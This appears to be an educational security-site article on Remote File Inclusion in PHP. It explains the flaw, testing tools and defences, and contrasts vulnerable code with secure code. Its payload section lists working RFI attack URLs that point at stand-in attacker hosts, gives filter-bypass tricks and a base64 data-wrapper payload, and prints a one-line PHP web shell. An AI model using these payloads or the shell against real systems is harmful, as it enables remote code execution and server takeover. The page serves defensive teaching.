Security Cipher

Security Resources

⌘K
  1. Home
  2. Security Resources
  3. Vulnerability Explain
  4. Remote File Inclusion (RFI)

Remote File Inclusion (RFI)

In this Vulnerability Explain post we cover Remote File Inclusion (RFI), the more dangerous cousin of Local File Inclusion. Where LFI reads files already on the server, RFI pulls in a file from a remote location the attacker controls – and if that file is executed, it is instant remote code execution. Let’s break it down.

What is RFI?

RFI occurs when an application includes a file whose path is taken from user input, and the configuration allows that path to be a remote URL. The attacker hosts a malicious script on their own server and tricks the application into fetching and executing it.

Picture a page that loads modules with /index.php?module=news. If the code includes the value directly and remote URLs are allowed, an attacker can send module=http://evil.com/shell.txt and the server will download and run the attacker’s code.

How does RFI work?

RFI turns a flexible include feature into code execution through these steps:

  • Include Path From Input
    • A parameter controls which file the application includes.
  • Remote URLs Allowed
    • The platform is configured to allow including files from remote URLs (for example PHP’s allow_url_include enabled).
  • Attacker Hosts a Payload
    • The attacker places a malicious script on a server they control.
  • Server Fetches and Includes It
    • The application downloads the remote file and includes it into execution.
  • Code Execution
    • The attacker’s script runs with the application’s privileges, giving full RCE.

RFI is one of the most direct routes to remote code execution because the attacker supplies the code itself. It hinges entirely on the app trusting a user-supplied location for an include.

Remote File Inclusion diagram showing an attacker hosting a malicious file that the server fetches and executes

How RFI works: the server includes a remote attacker-hosted file and executes it.

Tools and Techniques for RFI Testing

RFI testing centers on pointing include parameters at attacker-controlled URLs.

Manual Testing Methodologies

  • Parameter Discovery – Find include-style parameters (page, module, file, include) and test pointing them at an external URL you control.
  • Callback Confirmation – Use a remote server with logging to confirm the target fetched your file.
  • Filter Bypass – Try null bytes, URL encoding, and trailing query tricks to defeat naive extension or scheme checks.
  • Wrapper Testing – On PHP, test data:// and php:// wrappers where remote inclusion is filtered.

Automated Scanning Tools

  • LFISuite – Also automates RFI discovery and exploitation.
  • ffuf – Fuzzes include parameters with remote-URL payloads.
  • Nuclei – Templates detect remote inclusion patterns.
  • Burp Suite Scanner – Flags file inclusion issues, including remote variants.

RFI Protection Mechanisms

Best Practices for Secure Coding

  • Disable Remote Includes
    • Description: Turn off the ability to include remote URLs.
    • Benefits: Removes RFI entirely at the platform level.
    • Implementation Tip: In PHP set allow_url_include = Off and allow_url_fopen = Off where possible.
  • Use a Strict Allowlist
    • Description: Map user choices to a fixed set of local files.
    • Benefits: The user can never supply an arbitrary path or URL.
    • Implementation Tip: Reject anything not in your known-good list.
  • Validate and Confine Paths
    • Description: Canonicalize and confine any file path to a safe local directory.
    • Benefits: Stops both remote and traversal-based inclusion.
    • Implementation Tip: Reject schemes like http, https, ftp, php, and data.

Best Practices for Organizations

  • Hardened Configuration
    • Ship secure PHP/runtime defaults across all servers.
    • Audit configuration for risky include settings.
  • Defense in Depth
    • Restrict outbound network access from app servers so includes cannot reach attacker hosts.
    • Run with least privilege.
  • Testing
    • Add RFI checks to SAST and DAST.
    • Review every include and require call that uses input.

Top RFI payloads used by Security Researchers

As a security researcher, knowing the most common payloads helps you detect and prevent these attacks. Use this knowledge ethically and only on systems you are authorized to test. Some sample payloads are shown below.

// Basic remote inclusion
/index.php?module=http://attacker.com/shell.txt
/index.php?module=https://attacker.com/shell.txt
// Null byte and query tricks to bypass appended extensions
/index.php?module=http://attacker.com/shell.txt%00
/index.php?module=http://attacker.com/shell.txt?
// PHP data wrapper (when remote URL is filtered)
/index.php?module=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
// Minimal hosted payload (shell.txt)
<?php system($_GET['cmd']); ?>

Real-World Example: Remote Shell via a Module Parameter

A legacy PHP CMS loaded page modules with /index.php?page= and the server had allow_url_include left on from an old configuration.

A tester pointed page at http://their-server/shell.txt containing a one-line PHP web shell. The CMS fetched and executed it, giving the tester command execution on the host within seconds.

Remediation disabled remote includes and switched to a strict local allowlist. RFI is a stark lesson in why an application must never fetch and run code from a location a user can choose.

Vulnerable and secure code of RFI

The following example shows the contrast between vulnerable and secure code for RFI. It helps you see how the flaw creeps into real code and the changes that shut it down.

🥺 Vulnerable Code:

<?php
// Vulnerable: includes a path supplied by the user
$page = $_GET['page'];
// page=http://evil.com/shell.txt -> remote code is executed
include($page);
?>
  • The include path comes straight from input, and remote URLs are permitted.
  • An attacker-hosted file is downloaded and executed as PHP on the server.

😎 Secure Code:

<?php
// Secure: allowlist of local files only
$pages = [
    "home" => "pages/home.php",
    "news" => "pages/news.php",
];
$key = $_GET['page'] ?? "home";
if (!isset($pages[$key])) {
    http_response_code(404);
    exit("Not found");
}
include(__DIR__ . "/" . $pages[$key]);
?>
  • Only known local files can be included; remote URLs are impossible.
  • Combined with allow_url_include = Off, RFI cannot occur.

Conclusion

Remote File Inclusion is among the fastest paths from a small input flaw to full server takeover, because the attacker provides the code. Disable remote includes at the platform level, map user choices to a strict local allowlist, confine and validate every path, and restrict outbound traffic as defense in depth. An application should run only code it owns – never code a user can point it at.

How can we help?